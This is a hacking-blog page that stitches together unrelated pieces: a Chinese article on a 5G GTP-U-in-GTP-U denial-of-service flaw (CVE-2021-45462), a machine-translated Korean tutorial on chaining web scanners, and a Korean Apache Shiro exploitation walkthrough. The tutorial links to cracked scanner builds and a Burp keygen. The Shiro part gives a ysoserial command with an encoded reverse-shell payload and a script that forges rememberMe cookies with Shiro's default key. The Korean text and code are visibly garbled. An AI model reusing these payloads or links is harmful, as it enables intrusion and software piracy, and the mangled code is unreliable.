Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863108909

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

5G開啟了傳統無線連接無法實現的前所未有的應用,幫助企業加速數字化轉型、降低運營成本,並最大限度地提高生產力,以獲得最佳投資回報。為了實現目標,5G依賴關鍵的服務類別:大規模機器類型通信(mMTC)、增強型移動寬帶(eMBB)和超可靠低延遲通信(uRLLC)。

隨著商用頻譜不斷增加,專用5G網絡的使用率和普及率也隨之提高。製造、國防、港口、能源、物流和採礦等行業只是這些專用網絡的早期採用者之一,特別是對於那些迅速依賴物聯網以實現生產系統和供應鏈數字化的公司。與公共電網不同,專用5G中的蜂窩基礎設施設備可能歸用戶企業、系統集成商或運營商擁有和運營。然而,鑑於針對使用5G開發各種技術的研究和探索越來越多,網絡犯罪分子也在考慮利用種種威脅和風險,企圖通過這種新的通信標準,入侵用戶和組織的系統和網絡。本文探討了普通用戶設備如何在5G網絡基礎設施和用例中被濫用。

5G拓撲結構在端到端5G蜂窩系統中,用戶設備(又名UE,比如移動電話和物聯網設備)通過無線電波連接到基站,基站則通過有線IP網絡連接到5G核心。

從功能上來說,5G核心可以分為兩個平面:控制平面和用戶平面。在網絡中,控制平面承載信號,並根據流量從一個端點到另一個端點的交換方式為流量傳輸提供方便。同時,用戶平面負責連接和處理通過無線局域網(RAN)傳輸的用戶數據。

基站發送與設備連接相關的控制信號,並通過NGAP(下一代應用協議)與控制平面建立連接。來自設備的用戶流量使用GTP-U(GPRS隧道協議用戶平面)發送到用戶平面。數據流量從用戶平面路由傳輸到外部網絡。

1.jpg

圖1. 基本的5G網絡基礎設施

UE子網與基礎設施網絡相互分離、隔離,不允許用戶設備訪問基礎設施組件。這種隔離有助於保護5G核心免受來自用戶設備的CT(蜂窩技術)協議攻擊。

有沒有辦法繞過這種隔離、攻擊5G核心呢?接下來的章節將詳細介紹網絡犯罪分子如何可以濫用5G基礎設施的組件、尤其是GTP-U。

GTP-UGTP-U是一種隧道協議,存在於基站和5G用戶平面之間,使用端口2152。下面是用GTP-U封裝的用戶數據分組結構。

2.jpg

圖2. GTP-U數據分組

GTP-U隧道分組是通過將報頭附加到原始數據分組而形成的。添加的報頭由UDP(用戶數據報協議)傳輸報頭和GTP-U特有的報頭組成。 GTP-U報頭則由以下字段組成:

• 標誌:這包含版本及其他信息(比如表明是否存在可選的報頭字段等信息)。

• 消息類型:對於承載用戶數據的GTP-U分組而言,消息類型為0xFF。

• 長度:這是隧道端點標識符(TEID)字段之後的所有內容的長度(以字節為單位)。

• TEID:隧道的獨特值,用於將隧道映射到用戶設備。

GTP-U報頭由GTP-U節點(基站和用戶平面功能即UPF)添加。然而,用戶無法在設備的用戶界面上看到報頭。因此,用戶設備無法操縱報頭字段。

雖然GTP-U是一種標準的隧道技術,但其使用主要局限於基站和UPF之間或UPF和UPF之間的CT環境。假設在理想場景下,基站和UPF之間的回程經過加密,受到防火牆保護,並且不允許外部訪問。下面詳述這種理想場景:GSMA建議在基站和UPF之間使用IP安全(IPsec)。在這種場景下,到達GTP-U節點的分組只來自授權的設備。如果這些設備遵循規範並合理實施,它們不會發送異常分組。此外,可靠的系統應該有強大的完整性檢查機制,以處理接收到的異常信息,特別是明顯的異常信息,比如無效的長度、類型和擴展等。

然而在現實中,場景可能往往不同,需要完全不同的分析。運營商不願意在N3接口上部署IPsec,因為它耗用大量CPU資源,降低了用戶流量的吞吐量。此外,由於用戶數據被認為在應用層受到保護(借助額外協議,比如TLS即傳輸層安全),一些人認為IP安全是多餘的。有人可能認為,只要基站和分組-核心符合具體要求,就不會出現異常情況。此外,有人可能還認為,對於所有可靠的系統而言,都需要進行完整性檢查,以發現任何明顯的異常。然而之前的研究表明,全球各地的許多N3節點(比如UPF)暴露在互聯網上,儘管不應該如此。這將在以下的章節中介紹。

3.png

圖3. 因配置錯誤或缺少防火牆而暴露的UPF接口,截圖來自Shodan,並用於之前發表的研究結果

我們討論了兩個可以使用CVE-2021-45462利用GTP-U的概念。在Open5GS這種面向5G核心和進化分組核心(EPC)的C語言開源實現中,從用戶設備發送零長度、類型=255的GTP-U分組導致了UPF遭到拒絕服務(DoS)。這是CVE-2021-45462,分組核心中的這個安全漏洞可以通過從用戶設備製作的異常GTP-U分組,並通過在GTP-U中發送該異常GTP-U分組,導致UPF(5G中)或服務網關用戶平面功能(4G/LTE中的SGW-U)崩潰。鑑於該漏洞影響基礎設施的關鍵組件,並且無法輕易解決,該漏洞的嚴重性等級為中到高。

GTP-U節點:基站和UPFGTP-U節點是對GTP-U分組進行封裝和解封裝的端點。基站是用戶設備端上的GTP-U節點。基站從UE接收用戶數據時,將數據轉換成IP分組,並在GTP-U隧道中封裝。

UPF是5G核心端的GTP-U節點。當UPF接收到來自基站的GTP-U分組時,UPF對外部的GTP-U報頭進行解封裝,取出內部分組。 UPF不檢查內部分組的內容,直接查詢路由表(也由UPF維護)中的目的地IP地址,然後繼續發送分組。

GTP-U中的GTP-U如果用戶設備製作了一個異常的GTP-U分組,並將其發送到分組核心,會怎麼樣?

4.png

圖4. 一個精心特製的異常GTP-U分組

5.jpg

圖5. 從用戶設備發送異常的GTP-U分組

果不其然,基站將把該數據包放入到其GTP-U隧道中,發送給UPF。這導致GTP-U分組中的GTP-U到達UPF。 UPF中現在有兩個GTP-U分組:外部GTP-U分組報頭由基站創建的,用於封裝來自用戶設備的數據分組。這個外部GTP-U分組的消息類型為0xFF,長度為44。這個報頭是正常的。內部GTP-U報頭由用戶設備製作並作為數據分組來發送。與外部GTP-U分組一樣,這個內部GTP-U分組的消息類型為0xFF,但長度0不正常。

內部分組的源IP地址屬於用戶設備,而外部分組的源IP地址屬於基站。內部分組和外部分組的目的地IP地址一樣:都是UPF的目的地IP地址。

UPF對外部GTP-U進行解封裝,並通過功能檢查。內部GTP-U分組的目的地還是同樣的UPF。接下來發生的事情因實現方法而異:

• 一些實現維護用於分組遍歷的狀態機。狀態機的不正確實現可能導致處理這個內部GTP-U分組。該分組可能已經通過了檢查階段,因為它與外部分組擁有相同的分組上下文。這導致系統內部有一個異常分組通過完整性檢查。

• 由於內部分組的目的地是UPF本身的IP地址,因此分組可能被發送到UPF。在這種情況下,分組很可能會通過功能檢查,因此問題不如前一種情況來得嚴重。

攻擊途徑一些5G核心供應商利用Open5GS代碼。比如說,NextEPC(4G系統,2019年更名為Open5GS以添加5G,剩餘產品來自舊品牌)提供了面向LTE/5G的企業版,借鑒了Open5GS的代碼。沒有觀察到外頭有任何攻擊或威脅跡象,但我們的測試使用已確定的場景表明存在潛在風險。

攻擊的重要性在於攻擊途徑:來自UE的蜂窩基礎設施攻擊。利用該漏洞只需要一部移動電話(或通過蜂窩加密狗連接的計算機)和幾行Python代碼,就可以濫用該缺口,並發動這類攻擊。 GTP-U中的GTP-U攻擊是一種眾所周知的技術,回程IP安全和加密無法阻止這種攻擊。事實上,這些安全措施可能會阻礙防火牆檢查內容。

補救和心得醫療和電力等關鍵行業只是專用5G系統的早期採用者之一,5G廣泛使用的廣度和深度只會與日俱增。對於這些行業來說,確保持續不間斷運作的可靠性至關重要,因為這關係到千萬條生命和實際影響。這些行業的性質決定了它們選擇使用專用5G系統,而不是Wi-Fi。專用5G系統必須提供持久的連接,因為對任何5G基礎設施的攻擊得逞都可能導致整個網絡癱瘓。

在本文中,濫用CVE-2021-45462可能導致DoS攻擊。 CVE-2021-45462(以及大多數GTP-U中的GTP-U攻擊)的根本原因是分組核心中的錯誤檢查和錯誤處理不當。雖然GTP-U-中的GTP-U本身無害,但修復這個漏洞的適當措施必須來自分組核心供應商,而基礎設施管理員必須使用最新版本的軟件。

GTP-U中的GTP-U攻擊還可以用於洩露敏感信息,比如基礎設施節點的IP地址。因此,GTP-U對等體應該準備好處理GTP-U中的GTP-U分組。在CT環境下,它們應該使用能夠理解CT協議的入侵防禦系統(IPS)或防火牆。由於GTP-U不是正常的用戶流量,特別是在專用5G中,安全團隊可以優先考慮並丟棄GTP-U中的GTP-U流量。

一般來說,SIM卡的註冊和使用必須嚴格加以規範和管理。擁有被盜SIM卡的攻擊者可以將其插入攻擊者的設備,連接到網絡部署惡意軟件。此外,對於採用共享操作模式的一些人來說,安全責任可能很模糊,比如企業擁有的基礎設施鏈的終端設備和邊緣。同時,蜂窩基礎設施歸集成商或運營商所有。這給安全運營中心(SOC)帶來了一項艱鉅的任務:將來自不同領域和解決方案的相關信息整合在一起。

此外,由於需要停機和測試,定期更新關鍵基礎設施軟件以跟上供應商的補丁並不容易,也永遠不會容易。因此,強烈建議使用IPS打虛擬補丁或採用分層防火牆。幸好,GTP中的GTP很少在實際應用中使用,因此可以完全阻止所有GTP中的GTP流量。我們建議使用結合IT和通信技術(CT)安全性和可視性的分層安全解決方案。實施零信任解決方案,為企業和關鍵行業增加另一層安全,以防止未經授權使用專用網絡,以實現連續不中斷的工業生態系統,並確保SIM卡只能從授權設備上使用。

0x01 도구 사용

도구의 다운로드 주소 및 설치 방법은 각 도구를 도입 한 후에 배치됩니다. 필요한 경우 직접 다운로드 할 수 있습니다.

1.awvs 도구

AWVS 소개 :

ACUNETIX 웹 취약점 스캐너 (AWVS)는 웹 응용 프로그램의 보안을 테스트하고 관리하는 데 사용되는 플랫폼입니다. 취약점을 위해 인터넷 또는 로컬 LAN을 자동으로 스캔하고 취약점을보고 할 수 있습니다. 액세스하고 HTTP/HTTPS 규칙에 따라 액세스 한 웹 사이트를 스캔 할 수 있습니다. 중소형 및 대기업을위한 고객, 직원, 공급 업체 및 기타 직원을위한 인트라넷, 외부 네트워크 및 웹 사이트. AWS는 SQL 주입 공격 취약점, XSS 크로스 사이트 스크립팅 취약점 등을 확인하여 웹 애플리케이션의 보안을 검토 할 수 있습니다. AWVS 기능 및 기능 : 1) 자동 클라이언트 스크립트 분석기, AJAX 및 Web2.0 응용 프로그램의 보안 테스트를 허용합니다.

2) 업계에서 가장 진보되고 심층적 인 SQL 주입 및 크로스 사이트 스크립팅 테스트

3) HTPP 편집기 및 HTTP 퍼지와 같은 고급 침투 테스트 도구

4) Visual Macro Recorder

5) CAPTHCA, 단일 시작 명령 및 2 요인 (2 요인) 검증 메커니즘이 포함 된 지원 페이지

6) 비자 PCI 준수보고를 포함한 풍부한보고 기능

7) 고속 멀티 스레드 스캐너는 수천 페이지를 쉽게 검색합니다

8) Intelligent Crawler는 웹 서버 유형 및 응용 프로그램 언어를 감지합니다.

9) Acunetix는 플래시 컨텐츠, 비누 및 Ajax를 포함한 웹 사이트를 검색하고 분석합니다.

10) 포트는 웹 서버를 스캔하고 서버에서 실행중인 네트워크 서비스에서 보안 검사를 수행합니다.

11) 웹 사이트 취약성 파일을 내보낼 수 있습니다

AWVS 도구 설치 자습서 주소 : https://blog.csdn.net/shandongjiushen/article/details/128377981

AWVS 도구 크랙 버전 다운로드 주소 (Baidu Netdisk) 링크 : https://pan.baidu.com/s/1kayuhishgujozphx41cqsq 추출 코드 : QBE0

2. AppScan 도구

AppScan 소개 :

AppScan은 보안 전문가 및 테스터를 위해 특별히 설계된 동적 응용 프로그램 보안 테스트 도구입니다. 이를 통해 사용자는보다 안전한 소프트웨어를 개발하고 개발 수명주기 후반에 비싼 취약점을 효과적으로 피할 수 있습니다. 이 소프트웨어에는 강력한 스캐닝 엔진이 내장되어있어 대상 응용 프로그램 및 테스트 취약점을 자동으로 크롤링 할 수 있으며, 테스트 결과는 우선 순위로 제시되므로 운영자가 문제를 더 빠르게 분류하고 가장 중요한 취약점을 가장 먼저 발견 할 수 있습니다. 동시에, AppScan은 사용자에게 명확하고 실현 가능한 수리 제안을 자동으로 제공하여 각 발견 된 문제를보다 쉽게 치료할 수 있습니다. 또한이 소프트웨어에는 웹 응용 프로그램, 웹 서비스 및 모바일 백엔드 테스트를 지원하는 포괄적 인 보안 테스트 제품군이 있으며 운영 기반의 독점 기술 및 수만 건의 내장 스캔을 사용하여 지속적으로 검사하여 웹 서비스 및 애플리케이션에 대한 위험 점검 및 평가가 파괴적인 보안 취약성을 방지 할 수 있습니다. AppScan 기능 소개 : 1) 활성 및 수동 스캐닝 AppScan은 활성 및 수동 스캐닝 기술을 지원합니다. 활성 스캐닝 모드에서 공격자의 동작을 시뮬레이션하고 악의적 인 요청을 보내고 공격 페이로드를 보내고 XSS (XSS), SQL 주입, CSRF (Cross-Site Requess) 등의 알려진 웹 취약점을 발견하여 수동 스캔 모드에서 APPSCAN은 응용 프로그램의 통신 및 인터랙션 프로세스, 분석 및 반응을보고, 그리고 반응 및 반응을보고, 및 반응 및 반응을 보게됩니다.

2) 웹 응용 프로그램 및 모바일 애플리케이션 스캔 지원 AppScan은 웹 애플리케이션 스캔 및 모바일 애플리케이션 보안 평가에 적합합니다. 웹 애플리케이션의 경우 AppScan은 XSS, SQL 주입, 민감한 정보 유출 등과 같은 일반적인 웹 취약점을 자동으로 발견하고 평가할 수 있습니다. 모바일 응용 프로그램의 경우 AppScan은 응용 프로그램의 이진 코드를 분석하고 응용 프로그램에서 취약성 및 보안 문제를 발견 할 수 있습니다.

3) 침투 테스트 지원 AppScan은 침투 테스트 지원을 제공합니다. 즉, 취약성 스캔 도구 일뿐 만 아니라 테스트를위한 실제 공격을 시뮬레이션 할 수 있습니다. 침투 테스트는 복잡한 취약점 및 비즈니스 논리 문제에 대한 심층 테스트 기능을 감지하기 어려운 일부 취약점을 발견하는 데 도움이 될 수 있습니다.

AppScan 도구 설치 자습서 주소 : https://blog.csdn.net/qq_39720249/article/details/121248901

AppScan 도구 크랙 버전 다운로드 주소 (Baidu Netdisk) : https://pan.baidu.com/s/1unazbfwyvevzuqpc1eqaba 추출 코드 : IME6

3. 야키 도구

Yakit 소개 :

YAK는 네트워크 보안의 기본 기능 통합에 전념하는 세계 최초의 수직 개발 언어로 매우 강력한 보안 기능을 제공합니다. Yak은 대부분의 "데이터 설명 언어/컨테이너 언어"의 슈퍼 세트입니다. 모든 GO 기능 및 라이브러리 생태계, VSCODE 플러그인 등이 있습니다. 구문은 사용자 정의 가능합니다. 그것은 완전히 국내 튜링-완성 스크립팅 언어입니다. 포트 스캐닝, 지문 인식, POC 프레임 워크, 쉘 관리, MITM 납치, 강력한 플러그인 시스템 등을 포함하여 다양한 기본 보안 기능을 제공합니다. Yakit은 YAK 언어를 기반으로 개발 한 사이버 보안 개별 도구입니다. Yak 사용 형식으로 인해 사용자는 Yak 언어를 배우고 동시에 보안에 대한 특정 이해를 가져야합니다. Yak의 자체 보안 기능을 모든 사람이 쉽게 받아들이고 사용할 수 있도록하기 위해 Yak을위한 GRPC 서버를 작성하고 클라이언트를 구축했습니다. Yakit은 모든 사람이 인터페이스 GUI를 통해 Yak을 사용할 수있는 임계 값을 낮 춥니 다. Yakit 기능 (너무 많은 기능)에 대한 간단한 소개 : Yakit은 Yak 언어 보안 기능을위한 고도로 통합 된 출력 플랫폼입니다. Yakit을 사용하면 다음을 수행 할 수 있습니다.

1) Burpsuite와 유사한 MITM 납치 작업 테이블

2) 납치 된 모든 요청의 기록을보고 요청의 매개 변수를 분석합니다.

3) 세계 최초의 시각적 웹 퍼즐 도구 : 웹 퍼저

4) Yak Cloud Ide : 내장 된 스마트 프롬프트가있는 Yak Language Cloud IDE

5) ShellreCeiver : 리바운드 대화식 쉘 방지 연결을 받으려면 TCP 서버를 켜십시오.

6) 타사 야크 모듈 상점 : 커뮤니티 주도 타사 야크 모듈 플러그인, 원하는 모든 것이 있습니다.

7.

Yakit 도구 설치 자습서 주소 : https://blog.csdn.net/m0_60045654/article/details/134645164

Yakit 도구 다운로드 주소 : https://yaklang.com/

4. 버프 스위트

버프 스위트 소개 :

Burp Suite는 웹 애플리케이션을 공격하기위한 통합 플랫폼입니다. Burp Suite는 웹 응용 프로그램을 공격하기위한 통합 플랫폼이며 많은 도구를 포함합니다. Burp Suite는 이러한 도구를위한 많은 인터페이스를 설계하여 응용 프로그램을 공격하는 프로세스를 가속화합니다. 모든 도구는 요청을 공유하며 해당 HTTP 메시지, 지속성, 인증, 프록시, 로그 및 경고를 처리 할 수 있습니다. Burp Suite 도구의 기능 소개 : 1) Target (Target) —— 대상 디렉토리 구조의 함수를 표시합니다.

2) 프록시 (프록시) ——는 HTTP/S 프록시 서버를 가로 채어 브라우저와 대상 응용 프로그램 사이의 중개자 역할을하여 원래 데이터 흐름을 양방향으로 가로 자르고,보기 및 수정할 수 있도록합니다.

3) Spider (Spider) ——는 지능형 감지 웹 크롤러를 사용하여 응용 프로그램의 내용과 기능을 완전히 열거 할 수 있습니다.

4) 스캐너 (스캐너) —— 고급 도구 실행 후 웹 애플리케이션에서 보안 취약점을 자동으로 발견 할 수 있습니다.

5) 침입자 (침입자) —— 열거 식별자, 유용한 데이터 수집 및 퍼지 기술을 사용하여 기존의 취약성을 감지하는 것과 같은 웹 애플리케이션을 자동화하는 맞춤형 고도로 구성 가능한 도구.

6) 리피터 (리피터) —— 별도의 HTTP 요청을 트리거하고 응용 프로그램 응답을 분석하기 위해 수동 작업에 의존하는 도구.

7) 시퀀서 (세션) ——는 예측할 수없는 애플리케이션 세션 토큰 및 중요한 데이터 항목의 무작위성을 분석하는 데 사용되는 도구입니다.

8) 디코더 (디코더) ——는 수동 실행 또는 지능적으로 디코딩 및 인코딩 응용 프로그램 데이터 사용자를위한 도구입니다.

9) 비교 (비교) ——는 일반적으로 일부 관련 요청 및 응답을 통해 두 데이터의 시각적 '차이'를 얻습니다.

10) Extender (Extension) ——를 사용하면 Burp Suite Extensions를로드하고 자체 또는 타사 코드를 사용하여 Burp Suite의 기능을 확장 할 수 있습니다.

11) 옵션 (설정) —— BURP 제품군의 일부 설정

BURP Suite Tool 설치 자습서 주소 : https://Blog.csdn.net/m0_60045654/article/details/134645164

버프 스위트 도구 항아리 균열 패키지 : ** https://link.zhihu.com/? target=https%3a //github.com/lzskyline/burploaderkeygen/raw/main/burploaderkeygen.jar

버프 스위트 도구 다운로드 주소 : https://link.zhihu.com/?target=https%3a//portswigger.net/burp/releases/

5. Xray

Xray 도구 소개 :

Xray는 변경 기술에 의해 시작된 강력한 보안 평가 도구입니다. 많은 경험이 풍부한 최전선 보안 실무자들에 의해 만들어졌습니다. 활성 및 수동 스캔 방법을 지원하고 Windows, Linux 및 MACOS와 같은 여러 운영 체제를 지원하며 사용자 정의 POC를 지원합니다.

대상 웹 사이트에서 취약성을 빠르게 감지 할 수 있습니다. 기존 수동 취약성 스캔과 비교하여 Xray는 다음과 같은 장점이 있습니다.

1. 수동 작동의 시간과 에너지를 줄이는 높은 수준의 자동화;

2. 여러 취약성 유형의 스캔을 지원합니다.

3. 분산 배치 지원;

4. 웹 인터페이스 관리를 지원합니다.

Xray Function 소개 : POC 프레임 워크에는 기본적으로 GitHub에 POC가 내장되어 있으며 사용자는 필요에 따라 스스로 빌드 및 실행할 수도 있습니다.

현재 지원되는 취약성 감지 유형은 : 1) XSS 취약성 감지 (key: XSS)

2) SQL 주입 감지 (key: SQLDET)

3) 명령/코드 주입 감지 (key: CMD 주입)

4) 디렉토리 열거 (Key: Dirscan)

5) 경로 교차 감지 (key: 경로 변환)

6) XML 엔티티 주입 감지 (key: XXE)

7) 파일 업로드 감지 (key: 업로드)

8) 약한 비밀번호 감지 (key: Brute-Force)

9) JSONP 감지 (key: JSONP)

10) SSRF 감지 (key: SSRF)

11) 기준선 검사 (Key: 기준선)

12) 임의의 점프 감지 (key: 리디렉션)

13) CRLF 주입 (key: CRLF-injection)

14) Struts2 시리즈 취약성 감지 (Advanced Edition, Key: Struts)

15) ThinkPhp 시리즈 취약성 감지 (고급 버전, Key: ThinkPhp)

16) Xstream 시리즈 취약성 감지 (key: Xstream)

17) POC 프레임 워크 (key: pantasm)

Xray 도구 설치 자습서 주소 : https://blog.csdn.net/weixin_52244272/article/details/132278409

XRAY11 도구 크랙 버전 다운로드 주소 : https://pan.baidu.com/s/1N5LQESVXPK_CGBS7JMFKDA?pwd=AMLJ 추출 코드 : AMLJ

0x02 도구 연결

대상 웹 사이트에서 취약점을 자동으로 스캔하기 위해 5 개의 도구를 연결하기 시작하십시오.

1. AppScan 도구 연결 준비

를 설정하십시오

AppScan 도구 인터페이스를 열고 New-Scan Web Service-Next를 선택하십시오.image.png

선택-AppScan이 포트를 자동으로 선택하게하십시오 (여기에서 선택한 포트 및 주소는 AWVS 에이전트가 듣는 주소 및 포트입니다)-로컬-다른 연결 설정을 구성해야합니다. 다음 단계 image.png

선택 -사용자 정의 프록시 설정 -Address : 127.0.0.1 -포트 : 8083 (여기서 프록시 주소 및 포트 세트는 Yakit의 프록시 청취 주소입니다) --next.image.png

설정할 필요가 없습니다. 다음에 가십시오.image.png

설정하지 않고 다음 단계로 이동하여 마감을 클릭하십시오.image.png image.png

외부 트래픽 레코더를 받고 트래픽이 전달 될 때까지 기다릴 때까지 기다리십시오.image.png

2. Yakit 도구 연결 준비

를 설정하십시오

Yakit 도구 image.png을 시작하십시오

임시 프로젝트 image.png을 엽니 다

침투 테스트 도구-MIMT 대화식 납치 image.png를 선택하십시오

Yakit에는 기본적으로 15 개의 스캔 플러그인이 다운로드된다는 점을 언급하겠습니다. 보다 포괄적 인 수동 스캔 취약점을 원한다면 플러그인 스토어로 이동하여 필요한 플러그인을 다운로드 할 수 있습니다. 한 번의 클릭으로 모든 플러그인을 다운로드 할 수 있지만 스캔은 매우 느립니다. 필요한 것들 중 일부를 다운로드하십시오.image.png

Mimt Interactive 납치로 돌아가 도리 하시도 에이전트 청취 호스트를 설정하십시오. 127.0.0.1, 납치 에이전트 청취 포트는 다음과 같습니다. 플러그인 활성화를 선택하고 왼쪽에서 플러그인을 설정하여 모두를 선택하고 설정 후 구성없는 시작을 선택하십시오 (구성이없는 시작을 선택하는 것이 가장 좋습니다. 그렇지 않으면 Burp Suite 도구를 연결할 때 트래픽이 통과 할 수 없습니다).image.png

나중에 스캔 한 취약점은 여기에 image.png로 표시됩니다

3. Buro Suite Tool

에 대한 연결 준비를 설정하십시오

Burp Suite Tool을 열고-Temporary Project --next를 선택하십시오.image.png

Burp Suite -next의 기본값을 사용하십시오.image.png

설정 image.png를 선택하십시오

프록시를 설정하면 바인딩 프록시 포트는 8080이며 바인딩 주소는 다음과 같습니다. 루프백 만 (프록시 청취 주소 및 포트 세트는 Yakit에서 설정 한 다운 스트림 프록시 주소입니다).image.png

Burp Suite의 상류 프록시를 설정하고 대상 호스트는 다음과 같습니다. * (모든 대상 호스트가 허용됨), 프록시 호스트는 다음과 같습니다. 127.0.0.1, 프록시 포트는 7777입니다.

실시간 작업 추가 image.png

프록시 image.png를 통과하는 모든 트래픽을 수동적으로 스캔하십시오.

내장 된 스캔 동작을 편집합니다.image.png

스캔 유형을 설정하고, 모두를 선택하고, 화력을 켜고, 저장을 클릭하십시오.image.png

확인을 클릭하고 수동 스캔을 설정하십시오.image.png image.png

4. Xray 도구 연결 준비

을 설정하십시오

Xray를 사용하여 포트 127.0.0.133607777 (여기서 듣는 포트는 Burp Suite에서 설정 한 업스트림 프록시), 수동적으로 취약성을 스캔하며 출력 취약점 123.html로 들어갑니다.image.png

0x04 연결 테스트 연결 스캔

모든 준비가 진행 중이며 AWVS 도구를 첫 번째 액세스 스캔 대상 트래픽의 시작점으로 사용하십시오.

1. 인터셉트 트래픽

먼저 Yakit 및 Burp Suite의 트래픽을 납치하여 나중에 트래픽 추세를 볼 수 있습니다.

image.png

image.png

2. AWVS 스캐닝 대상을 설정하십시오

AWVS 스캔 대상을 설정하여 트래픽에 액세스하십시오. 스캔 대상을 추가하고 (이 대상은 승인되었습니다) 저장을 클릭하십시오.

시로

Apache Shiro는 복잡한 문제를 숨기고 개발자가 자신의 프로그램 보안 코드를 쉽게 개발할 수 있도록 명확하고 직관적 인 API를 제공하기 위해 인증, 승인, 암호화 및 세션 관리 기능을 제공합니다.

Shiro는 Shiro가 개발 팀을 개발하는 것에 중점을 둡니다. 개발 팀은 "4 개의 보안 초석" - 인증, 승인, 세션 관리 및 암호화

인증 : 사용자 신원 식별. 때로는 "로그인"으로 간주 될 수 있는데, 이는 사용자가 자신이 누구인지 증명하는 행위입니다. 권한 부여 : "무엇"에 액세스 할 수있는 것 "을 결정하는 것과 같은 액세스 제어 프로세스. 세션 관리 : 웹 또는 EJB 컨테이너가없는 환경에서도 사용자 세션을 관리합니다. 사용자 시간 관련 상태를 관리합니다. 암호화 : 암호화 알고리즘을 사용하여 데이터를보다 안전하게 보호하고 데이터를 엿보기를 방지하십시오. @shiro333333https://github.com/vulhub/vulhub/tree/master/shiro

CVE-2010-3863 : Apache Shiro 인증 우회 취약성

취약성 원칙

Apache Shiro 1.1.0 이전에 Shiro는 권한 확인을 수행하기 전에 URL을 표준화하지 않았습니다. 공격자는 허가 확인을 우회하기 위해 /, //, /./, /… /등을 구성 할 수 있습니다.

는 버전에 영향을 미칩니다

Shiro 1.1.0 및 JSecurity 0.9.x

취약성 재발

액세스 페이지 주소는 IP:8080입니다

취약점/관리자

크로스 디렉토리를 사용하여 사전 퍼지 테스트

image.png

image.png

CVE-2016-4437 : Apache Shiro 1.2.4 사막화 취약성/Shiro550

취약성 원칙

Shiro550 취약점에 속합니다.

Apache Shiro 1.2.4 및 이전 버전에서는 암호화 된 사용자 정보가 Serimalized 및 Remember-Me라는 쿠키에 저장되었습니다. 공격자는 Shiro의 기본 키를 사용하여 사용자 쿠키를 위조하고 Java Desorialization 취약성을 트리거 한 다음 대상 기계에서 임의의 명령을 실행할 수 있습니다.

Shiro는 기본적으로 CookierememberMemanager를 사용하고 RememberMeManaer 클래스, AES 암호화 및 Base64 인코딩 작업에서 Remembe Field 컨텐츠를 직렬화합니다. 신원을 식별 할 때는 쿠키에서 Rememberme 필드를 해독해야합니다. 암호화 순서에 따르면, 암호 해독 순서는==쿠키-베이스 64 디코딩 -AES 암호 해독 방지를 얻는 것으로 추론 될 수있다.==

는 버전에 영향을 미칩니다

Apache Shiro=1.2.4

취약성 재발

인증, 승인, 암호 및 세션 관리를 위해 Shiro 프레임 워크에서 페이지 로그인을 사용하는지 여부를 결정합니다.

판단 방법 : 비밀번호 기억 옵션을 확인한 후 로그인을 클릭하고 패킷을 잡고 요청 패키지에 기억 필 필드가 있는지 여부와 응답 패키지에 set-cookie:remembeme=deleteme 필드가 있는지 여부를 관찰하십시오. 아래 그림과 비슷합니다.

image.png

image.png

Rememberme=deleteme 필드가 응답 패키지에 나타나는 한 취약성이 있음을 의미합니다. 일방적으로 넣으려면, 기억력에 표시되면, Rememberme=deleteme 필드가 나타나면 로그인 페이지가 인증을 위해 Shiro를 사용하고 요청 패키지의 쿠키에 취약성과 리콜 필드가 있음을 직접 표시하지 않으며 반환 패키지 세트 쿠키에는 deleteme 필드가 없음을 나타냅니다. 로그인이 실패하면 Rememberme 필드가 확인되었는지 여부에 관계없이 리턴 패키지에는 Rememberme=deleteme 필드가 있습니다. 로그인이 성공하면 반환 패키지에는 Rememberme=deleteme 필드가 있습니다. 로그인이 성공하면 반환 패키지 세트 쿠키에는 Rememberme=deleteme 필드가 있습니다. 그러나 모든 후속 요청에서 쿠키에는 Remember Me Field Check Rememberme가 없습니다. 로그인이 성공하면 반환 패키지에는 Set-Cookie에 RememberMe=Deleteme 필드가 있으며 Rememberme 필드가 있습니다. 모든 후속 요청에서 쿠키에는 기억력이 기억되거나 쿠키 다음에 기억에 남는 다음 기억에 남을 수 있습니다.

java -cp ysoserial.jar ysoserial.exploit.jrmplistener 6666 commonscollections4 'bash -c {echo, ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=} | {base64, -d} | {bash, -i} '

shiro-exploit.py를 사용하여 Shiro의 기본 키를 얻으십시오 (공구 주소 : https://github.com/insightglacier/shiro_exploit).

image.png

shiro.py를 사용하여 페이로드를 생성합니다 (키를 직접 변경해야합니다. Shiro.py 코드는 다음과 같습니다.)

명령 : Shiro.py 192.168.17.13233606666

Shiro.py:

SYS 가져 오기

UUID 가져 오기

베이스 64 수입

수입 하위 프로세스

Crypto에서 Cipher Import AES에서

def encode_rememberme (명령) :

Popen=subprocess.popen ([ 'java', '-jar', 'ysoserial-0.0.6-snapshot-all.jar', 'jrmpclient', command], stdout=subprocess.pipe)

bs=aes.block_size

PAD=LAMBDA S: S + ((BS -LEN (S) %BS) * chr (BS -LEN (S) %BS)). Encode ()

key=base64.b64decode ( 'kph+bixk5d2deziixcaaaa==')

iv=uuid.uuid4 (). 바이트

alcryptor=aes.new (key, aes.mode_cbc, iv)

file_body=pad (popen.stdout.read ())

base64_ciphertext=base64.b64encode (iv + alcryptor.encrypt (file_body))

base64_ciphertext를 반환합니다

__name__=='__ 메인 __': 인 경우

페이로드=encode_rememberme (sys.argv [1])

print ( 'Rememberme={0}'. 형식 (payload.decode ()))

Python3 Shiro.py 192.168.200.12933606666

로그인 한 후 패킷을 잡고 데이터 패킷의 쿠키 값을 shiro.py가 생성 한 기억으로 교체하십시오.

image.png

CVE-2020-1957 : Apache Shiro 인증 우회 취약성

취약성 원칙

프로젝트 전반에 걸쳐 요청한 URL의 들어오는 전달 프로세스를 분석해야합니다. Shiro를 사용하는 프로젝트에서는 우리가 요청한 URL (URL1)으로 Shiro 권한 (URL2)에 의해 검사 된 URL (URL1)이며 마지막으로 SpringBoot 프로젝트로가는 경로를 찾습니다 (URL3).

취약점은 URL1, URL2 및 URL3에서 발생합니다. 동일한 URL이 아니기 때문에 시로의 확인을 우회하고 백엔드에 직접 액세스하게됩니다. 이 경우의 취약점은 이러한 이유로 인해 발생합니다.

